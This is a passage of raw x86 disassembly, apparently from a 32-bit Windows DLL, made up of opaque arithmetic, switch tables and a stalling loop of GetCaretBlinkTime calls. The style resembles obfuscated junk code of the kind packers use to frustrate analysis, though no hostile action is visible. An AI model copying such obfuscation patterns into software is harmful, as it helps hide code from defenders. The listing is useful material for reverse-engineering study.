sub eax, 0x16a4792b
cdq
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], edx
movzx edx, word [ebp - 0x10]
shl edx, 2
mov byte [ebp - 3], dl
jmp 0x10036fed
mov eax, dword [ebp - 0x4c]
not eax
movzx ecx, word [0x100a2124]
cmp eax, ecx
jg 0x10036fed
cmp dword [ebp - 0x64], 0
jne 0x10036f28
xor edx, edx
mov dword [ebp - 0x618], 1
mov dword [ebp - 0x614], edx
jmp 0x10036f33
xorps xmm0, xmm0
movlpd qword [ebp - 0x618], xmm0
mov eax, dword [0x100a2134]
mov ecx, dword [ebp - 0x618]
sub ecx, dword [0x100a2130]
mov edx, dword [ebp - 0x614]
sbb edx, eax
mov dword [ebp - 0xbb4], ecx
mov dword [ebp - 0xbb0], edx
mov eax, dword [ebp - 0xbb4]
or eax, dword [ebp - 0xbb0]
jne 0x10036f72
mov dword [ebp - 0x458], 1
jmp 0x10036f7c
mov dword [ebp - 0x458], 0
movzx ecx, word [0x100a211c]
movsx edx, word [ebp - 0xc]
sub ecx, edx
sub ecx, dword [ebp - 0x458]
jne 0x10036f9f
mov eax, 1
mov word [ebp - 0xa6], ax
jmp 0x10036fa8
xor ecx, ecx
mov word [ebp - 0xa6], cx
mov dx, word [ebp - 0xa6]
mov word [ebp - 8], dx
mov eax, dword [0x100a20e4]
add eax, dword [0x100a20f8]
mov dword [ebp - 0x3c], eax
movsx eax, byte [0x100a2027]
cdq
mov ecx, eax
mov edx, dword [0x100a2148]
mov eax, dword [0x100a214c]
mov dword [ebp - 0xc74], eax
add ecx, edx
movsx eax, byte [0x100a2027]
cdq
sub eax, ecx
mov byte [0x100a2027], al
xor eax, eax
jmp 0x10037ad1
mov dword [0x100a2104], 0xe971
mov dword [0x100a20d8], 2
movzx eax, word [0x100a211c]
xor eax, 0x44
cdq
mov dword [0x100a2130], eax
mov dword [0x100a2134], edx
mov cl, byte [ebp - 0x34]
mov edx, 1
imul eax, edx, 0x3dbb
mov byte [eax + 0x10222d80], cl
mov ecx, dword [ebp - 0x28]
sub ecx, 1
mov dword [ebp - 0x28], ecx
mov edx, dword [0x100a20d8]
mov dword [ebp - 0x164], edx
cmp dword [ebp - 0x164], 0
je 0x1003706b
cmp dword [ebp - 0x164], 1
je 0x100370c7
cmp dword [ebp - 0x164], 2
je 0x1003712c
jmp 0x100371ab
movzx eax, word [ebp - 0x10]
movzx ecx, word [0x100a20e0]
sub eax, ecx
mov word [ebp - 0x10], ax
mov dword [ebp - 0x58], 4
mov edx, 2
imul eax, edx, 0x4e16
movzx ecx, word [eax + 0x100a2c40]
xor ecx, dword [0x100a2100]
mov dword [0x100a2100], ecx
mov eax, dword [ebp - 0x34]
mov edx, dword [ebp - 0x30]
mov cl, 2
call fcn.10073f30
mov word [0x100a20c8], ax
mov edx, dword [0x100a2c3c]
xor eax, eax
mov dword [ebp - 0x48], edx
mov dword [ebp - 0x44], eax
jmp 0x100371ab
mov ecx, dword [0x100a2140]
sub ecx, 0xf14ba606
mov edx, dword [0x100a2144]
sbb edx, 0xfff24c0c
xor ecx, dword [ebp - 0x34]
xor edx, dword [ebp - 0x30]
mov dword [0x100a2148], ecx
mov dword [0x100a214c], edx
movzx eax, word [ebp - 0x10]
and eax, 0x3715
mov dword [ebp - 0x3c], eax
mov ecx, dword [ebp - 0x34]
sub ecx, 0xcdc6e394
mov dword [ebp - 0x2c], ecx
xor edx, edx
mov dword [ebp - 0x24], 0xb59e
mov dword [ebp - 0x20], edx
mov eax, dword [ebp - 0x4c]
mov ecx, 2
imul edx, ecx, 0x3b1d
mov word [edx + 0x102b7710], ax
jmp 0x100371ab
mov eax, dword [0x100a20f4]
cdq
push 0x31905
push 0x296f51ff
push edx
push eax
call fcn.10073ef0
mov ecx, dword [0x100a20dc]
add ecx, eax
mov dword [0x100a20dc], ecx
movzx edx, word [ebp - 8]
add edx, dword [ebp - 0x2c]
mov dword [ebp - 0x2c], edx
mov eax, dword [ebp - 0x48]
mov edx, dword [ebp - 0x44]
mov cl, 1
call fcn.10074000
mov dword [ebp - 0x40], eax
movzx eax, byte [ebp - 1]
cdq
mov ecx, dword [0x100a2144]
push ecx
mov ecx, dword [0x100a2140]
push ecx
push edx
push eax
call fcn.10073ef0
mov byte [ebp - 1], al
mov edx, 0xc72a
sub edx, dword [ebp - 0x3c]
xor eax, eax
mov ecx, dword [0x100a20ec]
sub edx, dword [0x100a20e8]
sbb eax, ecx
mov dword [0x100a20e8], edx
mov dword [0x100a20ec], eax
mov edx, dword [ebp - 0x18]
add edx, 1
cmp dword [0x100a2104], edx
jne 0x10037851
mov dword [ebp - 0x1c], 0xf0325a54
movzx eax, word [0x100a2124]
add eax, 0x4a750320
mov byte [ebp - 1], al
mov eax, dword [0x100a2128]
cdq
mov ecx, dword [0x100a2130]
mov esi, dword [0x100a2134]
push esi
push ecx
push edx
push eax
call fcn.10073ef0
mov ecx, eax
mov eax, dword [0x100a2128]
cdq
add eax, ecx
mov dword [0x100a2128], eax
movzx edx, byte [ebp - 2]
sub edx, dword [0x100a2104]
mov byte [ebp - 2], dl
mov dword [0x100a2104], 0xb5e4
movsx eax, word [ebp - 0xc]
test eax, eax
jne 0x10037228
mov dword [ebp - 0x45c], 1
jmp 0x10037232
mov dword [ebp - 0x45c], 0
mov ecx, dword [0x100a20d0]
add ecx, 0xf4eb5aa0
mov esi, dword [0x100a20d4]
adc esi, 0
mov eax, dword [ebp - 0x58]
add eax, dword [ebp - 0x45c]
cdq
push edx
push eax
push esi
push ecx
call fcn.10073ef0
mov edx, dword [ebp - 0x40]
not edx
movzx ecx, byte [0x100a207a]
imul edx, ecx
movzx ecx, word [0x100a2124]
xor edx, ecx
add eax, edx
mov byte [0x100a2027], al
movzx edx, word [0x100a2138]
sub edx, dword [0x100a20d8]
movzx eax, word [0x100a2138]
or eax, edx
mov word [0x100a2138], ax
imul ecx, dword [ebp - 0x4c], 0xa106871d
xor edx, edx
mov eax, dword [0x100a20f8]
sub eax, ecx
mov ecx, dword [0x100a20fc]
sbb ecx, edx
mov dword [0x100a20f8], eax
mov dword [0x100a20fc], ecx
mov edx, dword [0x100a20dc]
sub edx, 0x1592e384
mov dword [0x100a20e4], edx
cmp dword [0x100a20d0], 1
jne 0x10037851
cmp dword [0x100a20d4], 0
jne 0x10037851
movzx eax, word [ebp - 8]
cmp eax, dword [0x100a20d8]
jae 0x100372fc
mov dword [ebp - 0x460], 1
jmp 0x10037306
mov dword [ebp - 0x460], 0
movzx ecx, word [ebp - 8]
cmp ecx, 0x64
jge 0x1003731b
mov dword [ebp - 0x464], 1
jmp 0x10037325
mov dword [ebp - 0x464], 0
mov edx, dword [ebp - 0x460]
cmp edx, dword [ebp - 0x464]
jl 0x100376e8
mov byte [ebp - 2], 4
movzx eax, byte [0x100a207a]
cdq
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x44], edx
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x20]
mov dword [ebp - 0xc78], ecx
sub eax, 0x512740bf
mov dword [ebp - 0x28], eax
mov dl, byte [str.HeapSize]
sub dl, 1
mov byte [str.HeapSize], dl
movzx eax, byte [ebp - 2]
mov dword [ebp - 0x468], eax
cmp dword [ebp - 0x468], 4
ja case.default.0x10037389
mov ecx, dword [ebp - 0x468]
jmp dword [ecx*4 + 0x10037b34]
mov edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x20]
sub edx, dword [ebp - 0x24]
sbb eax, ecx
mov ecx, dword [ebp - 0x24]
mov esi, dword [ebp - 0x20]
sub ecx, edx
sbb esi, eax
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x20], esi
movsx edx, word [ebp - 0xc]
add edx, 0x59
mov byte [0x100a207b], dl
movzx eax, word [0x100a20e0]
imul ecx, eax, 0xaae2
mov edx, dword [0x100a20e4]
sub edx, ecx
mov dword [0x100a20e4], edx
jmp case.default.0x10037389
mov eax, dword [0x100a20dc]
add eax, 0x4c
mov dword [ebp - 0x3c], eax
mov ecx, dword [0x100a20f4]
xor ecx, dword [ebp - 0x28]
jne 0x100373fd
mov dword [ebp - 0x470], 1
jmp 0x10037407
mov dword [ebp - 0x470], 0
movzx edx, word [ebp - 8]
test edx, edx
jne 0x1003741b
mov dword [ebp - 0x46c], 1
jmp 0x10037425
mov dword [ebp - 0x46c], 0
mov eax, dword [ebp - 0x46c]
add eax, 0x466b
cdq
mov esi, eax
mov edi, edx
movsx eax, byte [str.y4The_server_is_requ]
not eax
cdq
push 0x5ebbb
push 0x6130eccf
push edx
push eax
call fcn.10073ef0
sub esi, eax
sbb edi, edx
mov dword [ebp - 0xbbc], esi
mov dword [ebp - 0xbb8], edi
mov eax, dword [ebp - 0xbbc]
or eax, dword [ebp - 0xbb8]
jne 0x1003747a
mov dword [ebp - 0x474], 1
jmp 0x10037484
mov dword [ebp - 0x474], 0
movzx ecx, word [ebp - 0x14]
add ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x470]
sub edx, ecx
sub edx, dword [ebp - 0x474]
mov byte [0x100a2027], dl
movzx eax, word [ebp - 8]
cdq
mov ecx, dword [0x100a2150]
mov esi, dword [0x100a2154]
sub ecx, eax
sbb esi, edx
mov edx, dword [0x100a2150]
mov eax, dword [0x100a2154]
sub edx, ecx
sbb eax, esi
mov dword [0x100a2150], edx
mov dword [0x100a2154], eax
mov eax, dword [ebp - 0x1c]
sub eax, 0x1ba3
cdq
mov dword [0x100a20e8], eax
mov dword [0x100a20ec], edx
movzx ecx, byte [0x100a207b]
mov edx, dword [ebp - 0x1c]
sub edx, ecx
movzx eax, byte [str.HeapSize]
sub eax, dword [0x100a2128]
add edx, eax
jne 0x1003750b
mov dword [ebp - 0x478], 1
jmp 0x10037515
mov dword [ebp - 0x478], 0
mov ecx, dword [ebp - 0x58]
or ecx, dword [ebp - 0x478]
mov dword [0x100a2128], ecx
movzx edx, word [ebp - 8]
test edx, edx
jne 0x10037532
mov byte [ebp - 0x6b], 1
jmp 0x10037536
mov byte [ebp - 0x6b], 0
mov al, byte [ebp - 0x6b]
mov byte [ebp - 2], al
jmp case.default.0x10037389
mov ecx, dword [ebp - 0x24]
mov edx, dword [ebp - 0x20]
mov dword [ebp - 0xc7c], edx
sub ecx, 0x48d67906
mov word [0x100a2124], cx
movzx eax, word [ebp - 0x14]
cdq
push 0xe185d
push 0x5dc9616d
push edx
push eax
call fcn.10073ef0
mov byte [ebp - 1], al
mov eax, dword [0x100a2100]
xor ecx, ecx
xor eax, 0x20817131
xor ecx, 0x5ee72
mov dword [0x100a2148], eax
mov dword [0x100a214c], ecx
movzx edx, word [0x100a2118]
sub edx, 0x64
mov byte [0x100a203b], dl
movzx eax, word [0x100a211c]
cdq
mov ecx, dword [ebp - 0x48]
sub ecx, eax
mov byte [ebp - 1], cl
jmp case.default.0x10037389
mov edx, dword [0x100a2128]
xor edx, dword [ebp - 0x64]
add edx, dword [0x100a2128]
mov dword [0x100a2128], edx
movzx eax, byte [ebp - 2]
test eax, eax
jne 0x100375de
mov dword [ebp - 0x47c], 1
jmp 0x100375e8
mov dword [ebp - 0x47c], 0
mov esi, dword [ebp - 0x2c]
imul esi, dword [ebp - 0x47c]
xor edi, edi
mov ecx, dword [0x100a20e8]
mov edx, dword [0x100a20ec]
mov eax, dword [0x100a2144]
push eax
mov eax, dword [0x100a2140]
push eax
push edx
push ecx
call fcn.10073ef0
push edx
push eax
push edi
push esi
call fcn.10073ef0
mov dword [ebp - 0x4c], eax
mov ecx, dword [ebp - 0x64]
mov edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0xc80], eax
add ecx, edx
mov byte [str.HeapSize], cl
cmp dword [0x100a2104], 0
jne 0x1003764b
mov dword [ebp - 0x480], 1
jmp 0x10037655
mov dword [ebp - 0x480], 0
mov ecx, dword [0x100a2130]
mov edx, dword [0x100a2134]
push 0
push 0xccbcc313
push edx
push ecx
call fcn.10073ef0
mov ecx, eax
mov eax, dword [ebp - 0x480]
cdq
xor ecx, eax
mov dword [ebp - 0x58], ecx
mov edx, 0xd77dd
mov dword [0x100a20f8], 0x9a9be84a
mov dword [0x100a20fc], edx
jmp case.default.0x10037389
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x20]
xor eax, 0x8e85d4aa
xor ecx, 0xdaae3
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x30], ecx
movzx eax, word [0x100a2124]
cdq
add eax, 0x17873279
adc edx, 0xc3430
add eax, dword [ebp - 0x48]
adc edx, dword [ebp - 0x44]
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x44], edx
movsx edx, word [0x100a20c8]
add edx, dword [0x100a20e4]
add edx, dword [0x100a20e4]
mov dword [0x100a20e4], edx
jmp 0x10037771
movzx eax, word [0x100a211c]
add eax, dword [0x100a20dc]
mov dword [0x100a20dc], eax
mov cx, word [ebp - 0x2c]
mov word [0x100a2138], cx
mov edx, dword [ebp - 0x3c]
sub edx, 0xbdb9
mov dword [ebp - 0x38], edx
movzx eax, byte [ebp - 2]
test eax, eax
je 0x10037733
mov ecx, dword [0x100a20f8]
mov edx, dword [0x100a20fc]
mov dword [ebp - 0x4e0], ecx
mov dword [ebp - 0x4dc], edx
jmp 0x10037744
mov eax, dword [ebp - 0x2c]
xor ecx, ecx
mov dword [ebp - 0x4e0], eax
mov dword [ebp - 0x4dc], ecx
mov edx, dword [ebp - 0x4e0]
mov eax, dword [ebp - 0x4dc]
mov dword [ebp - 0x34], edx
mov dword [ebp - 0x30], eax
movzx eax, word [ebp - 0x14]
cdq
sub eax, 0xb912dc6d
sbb edx, 0x589d8
mov dword [0x100a2150], eax
mov dword [0x100a2154], edx
jmp 0x10037851
mov dword [0x100a2104], 0xe971
mov ecx, dword [0x100a2130]
mov edx, dword [0x100a2134]
sub ecx, 0xcecdb8b5
sbb edx, 0
mov dword [0x100a20e8], ecx
mov dword [0x100a20ec], edx
mov eax, dword [ebp - 0x60]
xor eax, 0xce91eef8
mov ecx, dword [ebp - 0x5c]
xor ecx, 0
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x50], ecx
mov eax, dword [ebp - 0x38]
xor eax, 0xa27c
cdq
mov ecx, dword [0x100a2130]
mov esi, dword [0x100a2134]
add ecx, eax
adc esi, edx
mov dword [0x100a2130], ecx
mov dword [0x100a2134], esi
mov edx, 0x6f200
mov dword [ebp - 0x34], 0x83debf15
mov dword [ebp - 0x30], edx
mov eax, dword [ebp - 0x58]
not eax
mov word [0x100a2124], ax
xor ecx, ecx
mov edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x20]
add edx, dword [ebp - 0x40]
adc eax, ecx
mov dword [ebp - 0x24], edx
mov dword [ebp - 0x20], eax
movsx ecx, byte [0x100a203b]
cmp ecx, dword [0x100a2104]
jg 0x10037a85
mov dword [ebp - 0x160], 0x26fc
movzx eax, word [ebp - 0x10]
cdq
sub eax, 0x133822ec
mov dword [ebp - 0x4c], eax
movsx edx, word [0x100a20f0]
mov eax, dword [0x100a2100]
lea ecx, [eax + edx + 0x42f49b0c]
test ecx, ecx
jne 0x1003792f
mov dword [ebp - 0x494], 1
jmp 0x10037939
mov dword [ebp - 0x494], 0
mov edx, dword [0x100a20d8]
add edx, dword [ebp - 0x494]
jne 0x10037953
mov dword [ebp - 0x498], 1
jmp 0x1003795d
mov dword [ebp - 0x498], 0
mov eax, dword [ebp - 0x498]
mov dword [0x100a20f4], eax
mov eax, dword [ebp - 0x1c]
cdq
mov ecx, eax
mov esi, edx
sub ecx, dword [0x100a20f8]
sbb esi, dword [0x100a20fc]
movzx eax, word [ebp - 0x10]
cdq
push edx
push eax
push esi
push ecx
call fcn.10073ef0
mov dword [ebp - 0xbc4], eax
mov dword [ebp - 0xbc0], edx
mov edx, dword [ebp - 0xbc4]
or edx, dword [ebp - 0xbc0]
jne 0x100379b8
xor eax, eax
mov dword [ebp - 0x620], 1
mov dword [ebp - 0x61c], eax
jmp 0x100379c3
xorps xmm0, xmm0
movlpd qword [ebp - 0x620], xmm0
mov eax, dword [ebp - 0x28]
cdq
mov ecx, eax
mov esi, edx
and ecx, dword [0x100a20f8]
and esi, dword [0x100a20fc]
mov eax, dword [0x100a2120]
cdq
xor eax, 0x2ea5b290
xor edx, 0xfc4ff
sub ecx, eax
sbb esi, edx
add ecx, dword [ebp - 0x620]
adc esi, dword [ebp - 0x61c]
mov dword [0x100a2150], ecx
mov dword [0x100a2154], esi
movzx edx, word [0x100a2138]
imul eax, edx, 0xd858786c
xor ecx, ecx
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x44], ecx
movsx eax, word [0x100a2110]
cdq
mov ecx, eax
mov esi, edx
add ecx, dword [ebp - 0x34]
adc esi, dword [ebp - 0x30]
movsx eax, word [0x100a2110]
cdq
push esi
push ecx
push edx
push eax
call fcn.10073ef0
mov word [0x100a2110], ax
movsx edx, byte [str.y4The_server_is_requ]
sub edx, 0xc9f7
mov word [ebp - 0x14], dx
cmp dword [ebp - 0x160], 0x2684
jle 0x10037a83
call dword [sym.imp.USER32.dll_GetCaretBlinkTime]
xor ecx, ecx
mov dword [0x100a20d0], eax
mov dword [0x100a20d4], ecx
mov edx, dword [ebp - 0x160]
sub edx, 1
mov dword [ebp - 0x160], edx
jmp 0x10037a53
jmp 0x10037acc
mov eax, 4
imul ecx, eax, 0x9f5
mov eax, dword [ecx + 0x100ff140]
cdq
mov dword [ebp - 0x60], eax
mov dword [ebp - 0x5c], edx
movzx eax, byte [ebp - 3]
cdq
add eax, 0xba70435a
mov dword [ebp - 0x64], eax
movsx edx, byte [0x100a203b]
mov dword [ebp - 0x18], edx
mov eax, dword [0x100a2104]
imul eax, dword [0x100a20dc]
mov dword [0x100a20dc], eax
mov byte [str.HeapSize], 0x3e
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret